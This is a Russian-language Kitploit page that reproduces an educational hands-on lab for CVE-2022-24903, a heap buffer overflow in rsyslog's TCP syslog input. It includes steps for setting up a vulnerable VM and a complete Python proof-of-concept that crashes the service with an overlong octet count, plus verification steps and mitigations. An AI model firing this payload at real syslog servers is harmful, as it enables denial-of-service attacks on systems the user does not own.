Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 Heap-based buffer overflow | Kitploit
Инструменты/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
Vulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 Heap-based buffer overflow

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
20 дней назадЕщё не проверено

CVE-2022-24903: практическая лабораторная работа

Автор: Andrew Beshay Mousa

Практическая лабораторная работа, демонстрирующая уязвимость переполнения буфера в куче в rsyslog.

rsyslog CVE Type Protocol

Практическая среда для воспроизведения и изучения уязвимости переполнения буфера в куче в rsyslog (CVE-2022-24903) через кадрирование с подсчётом октетов при приёме TCP syslog.


Оглавление

  • Обзор
  • Архитектура лаборатории
  • Предварительные требования
  • Детали уязвимости
  • Настройка лаборатории
    • Целевая машина (Ubuntu)
    • Машина атакующего (Kali)
  • Эксплуатация
  • Проверка
  • Устранение неполадок
  • Меры по снижению риска
  • Ссылки

Обзор

CVE-2022-24903 — это уязвимость переполнения буфера в куче в модуле TCP-приёма syslog (imtcp) в rsyslog при использовании кадрирования с подсчётом октетов (RFC 5425).

Атакующий может отправить специально сформированное TCP-сообщение syslog с чрезмерно длинным префиксом подсчёта октетов, что заставит rsyslog записывать данные за пределами выделенного в куче буфера, что приведёт к отказу в обслуживании (DoS) или потенциальному повреждению памяти.


Архитектура лаборатории

root@kitploit:~
+----------------------------------------------------------+
|                  Network: Host-Only                       |
|                Subnet: 192.168.56.0/24                   |
+--------------------------+-------------------------------+
|                          |                               |
|   +---------------+      |      +--------------------+   |
|   |  [Attacker]   |      |      |     [Target]       |   |
|   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
|   |               | TCP  |      |  rsyslog 8.2001.0  |   |
|   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
|   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
|   |  CPU: 1       |      |      |  CPU: 1            |   |
|   +---------------+      |      +--------------------+   |
|                          |                               |
+----------------------------------------------------------+

Требуемые виртуальные машины

Примечание: В качестве целевой машины можно использовать любую версию Ubuntu (20.04, 22.04, 24.04). Главное — вручную установить уязвимый пакет rsyslog 8.2001.0 .deb.


Предварительные требования

  • VirtualBox или VMware Workstation
  • ISO-образ Ubuntu 22.04 (~2 ГБ)
  • ВМ Kali Linux (~4 ГБ)
  • Сеть Host-Only, настроенная в вашем гипервизоре
  • Базовые знания команд Linux и Python

Детали уязвимости

Что такое кадрирование с подсчётом октетов?

В TCP syslog (RFC 5425) сообщениям предшествует префикс с их длиной в байтах:

root@kitploit:~
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
 octet count (3 digits = 123 bytes follow)

Суть ошибки

В уязвимых версиях rsyslog парсер подсчёта октетов:

  1. Накопляет цифры в буфере кучи фиксированного размера
  2. Не проверяет границы буфера при записи цифр
  3. Продолжает записывать цифры даже после того, как счётчик октетов превышает максимально допустимое значение
root@kitploit:~
// Simplified vulnerable logic:
char buffer[20];          // Small heap buffer
int i = 0;
while (isdigit(ch)) {     // Read digits
    buffer[i++] = ch;     // Write to buffer
    // MISSING: if (i >= 20) break;
    ch = next_char();
}

Результат: Отправка 9999... (5000+ цифр) приводит к переполнению буфера в куче и повреждению соседней памяти.

Почему RCE затруднена

  • Переполнение ограничено только числовыми символами (0-9)
  • Парсер останавливается на первом нецифровом символе
  • Невозможно напрямую внедрить шелл-код
  • DoS гарантирован; RCE считается маловероятной по оценке вендора

Настройка лаборатории

Шаг 1: Настройка Host-Only сети

В вашем гипервизоре создайте сеть Host-Only:

  • Подсеть: 192.168.56.0/24
  • DHCP: Отключён (статические IP-адреса)

Подключите обе виртуальные машины к этой сети.


Шаг 2: Целевая машина (Ubuntu)

2.1 Установка статического IP-адреса

root@kitploit:~
sudo nano /etc/netplan/00-installer-config.yaml

Вставьте следующее:

root@kitploit:~
network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses:
        - 192.168.56.20/24

Примените настройки:

root@kitploit:~
sudo netplan apply

Проверьте:

root@kitploit:~
ip addr show | grep 192.168.56.20

2.2 Остановка и удаление современной версии rsyslog

root@kitploit:~
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y

2.3 Загрузка и установка уязвимой версии rsyslog

root@kitploit:~
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog

Если вы получили ошибку блокировки dpkg:

root@kitploit:~
sudo kill -9 <PID>
sudo rm -f /var/lib/dpkg/lock-frontend
sudo dpkg --configure -a

Проверьте версию:

root@kitploit:~
rsyslogd -v | head -2

Ожидаемый вывод:

root@kitploit:~
rsyslogd  8.2001.0

2.4 Отключение AppArmor (только для лаборатории)

AppArmor может препятствовать корректной работе rsyslog со старым пакетом:

root@kitploit:~
sudo systemctl stop apparmor
sudo systemctl disable apparmor

2.5 Настройка rsyslog для TCP-порта 514

root@kitploit:~
sudo nano /etc/rsyslog.conf

Очистите файл и вставьте следующее:

root@kitploit:~
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log

2.6 Открытие порта в межсетевом экране

root@kitploit:~
sudo ufw allow 514/tcp
sudo ufw --force enable

2.7 Запуск rsyslog

root@kitploit:~
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager

Проверьте, что порт прослушивается:

root@kitploit:~
sudo ss -tlnp | grep 514

Ожидаемый результат:

root@kitploit:~
LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))

Шаг 3: Машина атакующего (Kali)

3.1 Установка статического IP-адреса

root@kitploit:~
sudo nano /etc/network/interfaces

Вставьте следующее:

root@kitploit:~
auto eth0
iface eth0 inet static
    address 192.168.56.10
    netmask 255.255.255.0

Или, если вы используете Netplan:

root@kitploit:~
sudo nano /etc/netplan/01-netcfg.yaml
root@kitploit:~
network:
  version: 2
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.56.10/24
root@kitploit:~
sudo netplan apply

3.2 Создание скрипта эксплойта

root@kitploit:~
cd ~/Desktop
nano exploit.py

Вставьте следующее:

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""

import socket
import sys

TARGET = "192.168.56.20"  # Change to your Target IP
PORT = 514

def exploit():
    """
    Send a crafted TCP syslog message with an excessively long octet-count prefix.
    The octet-count parser writes digits to a heap buffer without bounds checking,
    causing a heap buffer overflow.
    """
    # Create a massive octet count string (5000+ digits)
    # This overflows the heap buffer allocated for parsing the count
    overflow_digits = b"9" * 5000

    # The rest of the message (parser will crash before processing this)
    syslog_msg = b" <1>test crash message\n"

    payload = overflow_digits + syslog_msg

    print(f"[*] Target: {TARGET}:{PORT}")
    print(f"[*] Payload size: {len(payload)} bytes")
    print(f"[*] Octet count digits: {len(overflow_digits)}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((TARGET, PORT))

        print(f"[*] Connected. Sending payload...")
        sock.sendall(payload)

        # Try to receive (likely won't get anything back after crash)
        try:
            response = sock.recv(1024)
            print(f"[+] Received: {response}")
        except socket.timeout:
            print("[!] No response - target may have crashed!")

        sock.close()
        print("[*] Exploit completed.")

    except ConnectionRefusedError:
        print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
        sys.exit(1)
    except BrokenPipeError:
        print("[!] Connection broken - target likely crashed mid-transmission!")

if __name__ == "__main__":
    print("=" * 50)
    print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
    print("=" * 50)
    exploit()

Сделайте исполняемым:

root@kitploit:~
chmod +x exploit.py

Эксплуатация

Предварительная проверка

С машины атакующего проверьте связь:

root@kitploit:~
nc -zv 192.168.56.20 514

Ожидаемый результат:

root@kitploit:~
(UNKNOWN) [192.168.56.20] 514 (shell) open

Запуск эксплойта

root@kitploit:~
python3 ~/Desktop/exploit.py

Ожидаемый вывод:

root@kitploit:~
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.

Проверка

На целевой машине проверьте падение:

Способ 1: Проверьте, запущен ли rsyslog

root@kitploit:~
ps aux | grep rsyslog

Если вывода нет -> rsyslog упал

Способ 2: Проверьте журнал ядра

root@kitploit:~
sudo dmesg | tail -10

Ожидаемый вывод:

root@kitploit:~
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]

Или:

root@kitploit:~
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]

Способ 3: Проверьте журнал systemd

root@kitploit:~
sudo journalctl -u rsyslog --no-pager | tail -10

Способ 4: Перезапуск и повторная проверка

Чтобы подтвердить воспроизводимость:

root@kitploit:~
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514

Затем повторно запустите эксплойт с Kali. Падение должно повториться.


Устранение неполадок


Меры по снижению риска

1. Обновите rsyslog

root@kitploit:~
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog

Проверьте исправленную версию:

root@kitploit:~
rsyslogd -v | head -2

Должна быть 8.2204.1 или выше.

2. Отключите TCP syslog, если он не нужен

Закомментируйте в /etc/rsyslog.conf:

root@kitploit:~
# module(load="imtcp")
# input(type="imtcp" port="514")

3. Используйте TLS/SSL (RFC 5425)

Если TCP syslog необходим, используйте шифрованный транспорт:

root@kitploit:~
module(load="imgtls")
input(type="imgtls" port="6514")

4. Ограничения межсетевого экрана

Ограничьте доступ к TCP-порту 514 только для доверенных хостов:

root@kitploit:~
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp

Ссылки

  • NVD - CVE-2022-24903
  • Рекомендации по безопасности rsyslog
  • Уведомление о безопасности Ubuntu USN-5404-1
  • RFC 5424 — протокол Syslog
  • RFC 5425 — транспорт TLS

Отказ от ответственности

Эта лабораторная работа предназначена только для образовательных и исследовательских целей. Не используйте этот эксплойт против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за неправомерное использование данной информации.


Лицензия

Этот проект распространяется по лицензии MIT.


Создано на кофе и любопытстве: Andrew Beshay Mousa.

Скачать инструмент
АтрибутЗначение
Идентификатор CVECVE-2022-24903
Затронутые версииrsyslog < 8.2204.1
ВекторСеть
Порт514/TCP
Модульimtcp (TCP-вход)
ВоздействиеDoS / повреждение кучи
Вероятность RCE?Нет (оценка вендора)
ВМОСРольIPОЗУЦП
ЦелеваяUbuntu 22.04Уязвимый сервер rsyslog192.168.56.201 ГБ1
АтакующаяKali LinuxОтправитель эксплойта192.168.56.102 ГБ1
ПроблемаРешение
Connection refusedrsyslog не запущен или не прослушивает TCP-порт 514. Проверьте sudo systemctl status rsyslog и `sudo ss -tlnp
Unit rsyslog.service is maskedВыполните sudo systemctl unmask rsyslog.service syslog.socket
dpkg frontend lockВыполните sudo kill -9 <PID>, затем sudo rm -f /var/lib/dpkg/lock-frontend
Отказ AppArmor (DENIED) в dmesgВыполните sudo systemctl stop apparmor && sudo systemctl disable apparmor
Версия rsyslog 8.2112+Вы установили исправленную версию. Скачайте и установите rsyslog_8.2001.0-1ubuntu1_amd64.deb вручную
Нет падения после эксплойтаУвеличьте размер полезной нагрузки до b"9" * 20000